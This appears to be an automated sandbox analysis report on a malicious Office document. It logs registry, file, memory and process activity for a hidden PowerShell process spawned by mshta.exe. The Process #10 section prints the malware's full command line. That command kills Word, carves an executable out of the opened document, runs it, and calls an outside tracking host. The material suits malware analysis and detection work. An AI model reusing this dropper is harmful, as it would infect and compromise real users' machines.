Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Enumerate Values	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Enumerate Values	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Enumerate Values	-	-	2	Fn
Enumerate Values	-	-	2	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Get Key Info	HKEY_CURRENT_USER	-	96	Fn
Get Key Info	HKEY_CURRENT_USER\Software	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software\Microsoft	-	2	Fn
Get Key Info	HKEY_CURRENT_USER\Software\Microsoft\Office	-	2	Fn
For performance reasons, the remaining 231 entries are omitted. The remaining entries can be found in glog.xml.

Process (1)

Operation	Process	Additional Information	Success	Count	Logfile
Create	"C:\Windows\system32\taskkill.exe" /f /im winword.exe	os_pid = 0x5f4, show_window = SW_HIDE		1	Fn

Module (1)

Operation	Module	Additional Information	Success	Count	Logfile
Get Filename	-	process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe, size = 2048		1	Fn

System (7)

Operation	Additional Information	Count	Logfile
Get Info	type = Operating System	4	Fn
Get Info	type = SYSTEM_PROCESS_INFORMATION	2	Fn
Get Info	type = Hardware Information	1	Fn

Environment (146)

Operation	Additional Information	Count	Logfile
Get Environment String	name = MshEnableTrace	131	Fn
Get Environment String	name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\	1	Fn
Get Environment String	name = HOMEDRIVE, result_out = C:	1	Fn
Get Environment String	name = HOMEPATH, result_out = \Users\aETAdzjz	1	Fn
Get Environment String	name = HomeDrive, result_out = C:	1	Fn
Get Environment String	name = HomePath, result_out = \Users\aETAdzjz	1	Fn
Get Environment String	name = APPDATA, result_out = C:\Users\aETAdzjz\AppData\Roaming	2	Fn
Get Environment String	name = TEMP, result_out = C:\Users\aETAdzjz\AppData\Local\Temp	2	Fn
Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	3	Fn
Get Environment String	name = PATH	1	Fn
Get Environment String	name = PATH, result_out = %SystemRoot%\system32\WindowsPowerShell\v1.0\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client	1	Fn
Set Environment String	name = PSMODULEPATH, value = C:\Users\aETAdzjz\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\	1	Fn

Process #10: powershell.exe

(Host: 585, Network: 0)

Information	Value
ID	#10
File Name	c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line	"C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe" -WindowStyle Hidden Try{$ada="""$env:APPDATA\result.exe""";$adax=$ada+'x';$f=[System.IO.File]::Create($adax);$tmf="""$env:TEMP\o.tmp""";taskkill /f /im winword.exe;Function pr{Try{$k="""HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency\StartupItems\""";for ($i = 0; $i -lt 10; $i++){$r=[System.Text.Encoding]::Unicode.GetString((gp $k).((gi $k).Property[$i]));if ($r.Contains('.doc')){$i=10;}}$r=$r.Substring($r.indexOf(':\')-1);$r=$r.Substring(0, $r.IndexOf('.doc')+4);ri -Path """HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency""" -recurse;cp -Path $r -Destination $tmf;$d = (gc $tmf -ReadCount 0 -encoding byte)[985480..1011591];Start-Sleep -s 1;sc $r -encoding byte -Value $d;start winword """$r""";$f = (gc $tmf -ReadCount 0 -encoding byte)[420737..985472];sc $ada -encoding byte -Value $f;& $ada;$wc = New-Object system.Net.WebClient;$ht=$wc.downloadString('http://www.samyrai777m.p-host.in/t/t.php?act=hit');$cd=(Resolve-Path .\).Path;ri """$cd\""" -include http.pdb, http.dll, .cs;}Catch{}};$wv='12.0';pr;$wv='14.0';pr;$wv='15.0';pr;$wv='16.0';pr;Stop-Process -processname powershell;}Catch{exit;}
Initial Working Directory	C:\Users\aETAdzjz\Desktop\
Monitor	Start Time: 00:01:08, Reason: Child Process
Unmonitor	End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration	00:01:28

OS Process Information

Information	Value
PID	0x968
Parent PID	0x370 (c:\windows\system32\mshta.exe)
Is Created or Modified Executable
Integrity Level	Medium
Username	YKYD69Q\aETAdzjz
Groups	YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) BUILTIN\Administrators (USE_FOR_DENY_ONLY) BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID) LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 428 0x 9A4 0x 994 0x 458 0x A60 0x B4 0x 9CC 0x 92C

Region

Name	Start VA	End VA	Type	Permissions	Actions
private_0x0000000000010000	0x00010000	0x0002ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000010000	0x00010000	0x0001ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000020000	0x00020000	0x0002ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000030000	0x00030000	0x00033fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000040000	0x00040000	0x00040fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000050000	0x00050000	0x000cffff	Private Memory	Readable, Writable	Region Actions Download Dump
locale.nls	0x000d0000	0x00136fff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000000140000	0x00140000	0x00146fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000150000	0x00150000	0x00151fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000000160000	0x00160000	0x0016ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000170000	0x00170000	0x0026ffff	Private Memory	Readable, Writable	Region Actions Download Dump
powershell.exe.mui	0x00270000	0x00272fff	Memory Mapped File	Readable, Writable	Region Actions
private_0x0000000000280000	0x00280000	0x00280fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000290000	0x00290000	0x0038ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000390000	0x00390000	0x00517fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000520000	0x00520000	0x006a0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000006b0000	0x006b0000	0x01aaffff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000001ab0000	0x01ab0000	0x01ab0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000001ac0000	0x01ac0000	0x01bbffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000001bc0000	0x01bc0000	0x01bc0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000001bd0000	0x01bd0000	0x01bd0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000001be0000	0x01be0000	0x01be1fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000001bf0000	0x01bf0000	0x01bf0fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000001c00000	0x01c00000	0x01c01fff	Pagefile Backed Memory	Readable	Region Actions
cversions.2.db	0x01c10000	0x01c13fff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000001c20000	0x01c20000	0x01c20fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000001c30000	0x01c30000	0x01c3ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000001c40000	0x01c40000	0x01d1efff	Pagefile Backed Memory	Readable	Region Actions
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000011.db	0x01d20000	0x01d3efff	Memory Mapped File	Readable	Region Actions
private_0x0000000001d40000	0x01d40000	0x01dbffff	Private Memory	Readable, Writable	Region Actions Download Dump
cversions.2.db	0x01dc0000	0x01dc3fff	Memory Mapped File	Readable	Region Actions
private_0x0000000001dd0000	0x01dd0000	0x01e4ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db	0x01e50000	0x01e7ffff	Memory Mapped File	Readable	Region Actions
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db	0x01e80000	0x01ee5fff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000001ef0000	0x01ef0000	0x01ef0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000001f00000	0x01f00000	0x01f02fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000001f10000	0x01f10000	0x01f8ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000001f90000	0x01f90000	0x01f90fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000001fa0000	0x01fa0000	0x01fbffff	Private Memory	-	Region Actions Download Dump
private_0x0000000001fc0000	0x01fc0000	0x01fcffff	Private Memory	Readable, Writable	Region Actions Download Dump
l_intl.nls	0x01fd0000	0x01fd2fff	Memory Mapped File	Readable	Region Actions
private_0x0000000001fe0000	0x01fe0000	0x01feffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000001ff0000	0x01ff0000	0x01ff0fff	Private Memory	Readable, Writable	Region Actions Download Dump
sorttbls.nlp	0x02000000	0x02004fff	Memory Mapped File	Readable	Region Actions
private_0x0000000002010000	0x02010000	0x0208ffff	Private Memory	Readable, Writable	Region Actions Download Dump
sortdefault.nls	0x02090000	0x0235efff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000002360000	0x02360000	0x02752fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000002760000	0x02760000	0x0285ffff	Private Memory	Readable, Writable	Region Actions Download Dump
microsoft.wsman.runtime.dll	0x02860000	0x02867fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
pagefile_0x0000000002870000	0x02870000	0x02870fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000002880000	0x02880000	0x028fffff	Private Memory	Readable, Writable	Region Actions Download Dump
sortkey.nlp	0x02900000	0x02940fff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000002950000	0x02950000	0x02950fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000002960000	0x02960000	0x029dffff	Private Memory	Readable, Writable	Region Actions Download Dump
mscorrc.dll	0x029e0000	0x02a33fff	Memory Mapped File	Readable	Region Actions
private_0x0000000002a40000	0x02a40000	0x02abffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002b50000	0x02b50000	0x02bcffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
private_0x0000000002bd0000	0x02bd0000	0x1abcffff	Private Memory	Readable, Writable	Region Actions
private_0x000000001abd0000	0x1abd0000	0x1b29ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000000001b2a0000	0x1b2a0000	0x1b3a0fff	Private Memory	Readable, Writable	Region Actions Download Dump
kernelbase.dll.mui	0x1b3b0000	0x1b46ffff	Memory Mapped File	Readable, Writable	Region Actions
private_0x000000001b490000	0x1b490000	0x1b50ffff	Private Memory	Readable, Writable	Region Actions Download Dump
system.management.automation.dll	0x1b510000	0x1b7f1fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000000001b800000	0x1b800000	0x1b8fffff	Private Memory	Readable, Writable	Region Actions Download Dump
system.transactions.dll	0x1e230000	0x1e278fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcr80.dll	0x75360000	0x75428fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
user32.dll	0x775e0000	0x776d9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernel32.dll	0x776e0000	0x777fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntdll.dll	0x77800000	0x779a8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
psapi.dll	0x779d0000	0x779d6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000000007efe0000	0x7efe0000	0x7ffdffff	Private Memory	Readable	Region Actions
pagefile_0x000000007efe0000	0x7efe0000	0x7f0dffff	Pagefile Backed Memory	Readable	Region Actions
private_0x000000007f0e0000	0x7f0e0000	0x7ffdffff	Private Memory	Readable	Region Actions
private_0x000000007ffe0000	0x7ffe0000	0x7ffeffff	Private Memory	Readable	Region Actions Download Dump
powershell.exe	0x13f630000	0x13f6a6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
culture.dll	0x642ff4a0000	0x642ff4a9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.directoryservices.ni.dll	0x7fede4e0000	0x7fede674fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.management.ni.dll	0x7fede680000	0x7fede7ebfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.security.ni.dll	0x7fedea50000	0x7fedea8dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.commands.management.ni.dll	0x7fedeb40000	0x7fedec57fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.commands.utility.ni.dll	0x7fedec60000	0x7fedee75fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.transactions.ni.dll	0x7fedee80000	0x7fedef64fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.wsman.management.ni.dll	0x7fedef70000	0x7fedf019fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.configuration.install.ni.dll	0x7fedf020000	0x7fedf051fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.commands.diagnostics.ni.dll	0x7fedf060000	0x7fedf0c8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.core.ni.dll	0x7fedf0d0000	0x7fedf3fdfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.management.automation.ni.dll	0x7fedf470000	0x7fedffccfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.consolehost.ni.dll	0x7fee0230000	0x7fee02e1fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.xml.ni.dll	0x7fee1530000	0x7fee1bd4fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.ni.dll	0x7fee1fc0000	0x7fee29e2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscorlib.ni.dll	0x7fee29f0000	0x7fee38cbfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscorwks.dll	0x7fee38d0000	0x7fee426cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscoreei.dll	0x7fef13f0000	0x7fef1488fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscoree.dll	0x7fef1910000	0x7fef197efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
linkinfo.dll	0x7fef6190000	0x7fef619bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shdocvw.dll	0x7fef61a0000	0x7fef61d3fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntshrui.dll	0x7fef7b70000	0x7fef7beffff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cscapi.dll	0x7fef7bf0000	0x7fef7bfefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apphelp.dll	0x7fef91c0000	0x7fef9216fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
uxtheme.dll	0x7fefb560000	0x7fefb5b5fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
slc.dll	0x7fefbee0000	0x7fefbeeafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
atl.dll	0x7fefbf10000	0x7fefbf28fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
comctl32.dll	0x7fefc060000	0x7fefc253fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
propsys.dll	0x7fefc4e0000	0x7fefc60bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntmarta.dll	0x7fefc740000	0x7fefc76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
version.dll	0x7fefc910000	0x7fefc91bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
userenv.dll	0x7fefcaf0000	0x7fefcb0dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rsaenh.dll	0x7fefcd40000	0x7fefcd86fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptsp.dll	0x7fefd040000	0x7fefd056fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
srvcli.dll	0x7fefd540000	0x7fefd562fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptbase.dll	0x7fefd640000	0x7fefd64efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
profapi.dll	0x7fefd750000	0x7fefd75efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
devobj.dll	0x7fefd9b0000	0x7fefd9c9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernelbase.dll	0x7fefd9d0000	0x7fefda3afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cfgmgr32.dll	0x7fefda40000	0x7fefda75fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
imm32.dll	0x7fefdb40000	0x7fefdb6dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
setupapi.dll	0x7fefdb70000	0x7fefdd46fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcrt.dll	0x7fefdd50000	0x7fefddeefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oleaut32.dll	0x7fefde70000	0x7fefdf46fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
lpk.dll	0x7fefdf50000	0x7fefdf5dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ole32.dll	0x7fefe1c0000	0x7fefe3c2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
clbcatq.dll	0x7fefe550000	0x7fefe5e8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrt4.dll	0x7fefe640000	0x7fefe76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shlwapi.dll	0x7fefe770000	0x7fefe7e0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wldap32.dll	0x7fefe7f0000	0x7fefe841fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shell32.dll	0x7fefe850000	0x7feff5d7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msctf.dll	0x7feff710000	0x7feff818fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sechost.dll	0x7feff8c0000	0x7feff8defff	Memory Mapped File	Readable, Writable, Executable	Region Actions
advapi32.dll	0x7feff8e0000	0x7feff9bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
gdi32.dll	0x7feff9d0000	0x7feffa36fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
usp10.dll	0x7feffa40000	0x7feffb08fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apisetschema.dll	0x7feffb20000	0x7feffb20fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000007ff00020000	0x7ff00020000	0x7ff0002ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00030000	0x7ff00030000	0x7ff0003ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00040000	0x7ff00040000	0x7ff000dffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff000e0000	0x7ff000e0000	0x7ff000effff	Private Memory	-	Region Actions Download Dump
private_0x000007ff000f0000	0x7ff000f0000	0x7ff0015ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00160000	0x7ff00160000	0x7ff0016ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00170000	0x7ff00170000	0x7ff0017ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00180000	0x7ff00180000	0x7ff0018ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00190000	0x7ff00190000	0x7ff0019ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff001a0000	0x7ff001a0000	0x7ff001affff	Private Memory	-	Region Actions Download Dump
private_0x000007ff001b0000	0x7ff001b0000	0x7ff001bffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff001c0000	0x7ff001c0000	0x7ff001cffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff001d0000	0x7ff001d0000	0x7ff001dffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff001e0000	0x7ff001e0000	0x7ff001effff	Private Memory	-	Region Actions Download Dump
private_0x000007ff001f0000	0x7ff001f0000	0x7ff001fffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00200000	0x7ff00200000	0x7ff0020ffff	Private Memory	-	Region Actions Download Dump
private_0x000007fffff00000	0x7fffff00000	0x7fffff0ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
private_0x000007fffff10000	0x7fffff10000	0x7fffff9ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
private_0x000007fffffae000	0x7fffffae000	0x7fffffaffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x000007fffffb0000	0x7fffffb0000	0x7fffffd2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x000007fffffd3000	0x7fffffd3000	0x7fffffd4fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd5000	0x7fffffd5000	0x7fffffd6fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd7000	0x7fffffd7000	0x7fffffd8fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd9000	0x7fffffd9000	0x7fffffdafff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffdb000	0x7fffffdb000	0x7fffffdcfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffdd000	0x7fffffdd000	0x7fffffdefff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffdf000	0x7fffffdf000	0x7fffffdffff	Private Memory	Readable, Writable	Region Actions Download Dump
For performance reasons, the remaining 29 entries are omitted. The remaining entries can be found in flog.txt.

Host Behavior

File (253)

Operation	Filename	Additional Information	Count	Logfile
Create	CONOUT$	desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE	1	Fn
Create	CONOUT$	desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE	1	Fn
Create	C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml	desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml	desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Users\aETAdzjz\AppData\Roaming\result.exex	desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL	1	Fn
Get Info	C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll	type = file_attributes	2	Fn
Get Info	C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.config	type = file_attributes	1	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml	type = file_type	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml	type = file_type	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml	type = file_attributes	2	Fn
Get Info	-	type = file_type	1	Fn
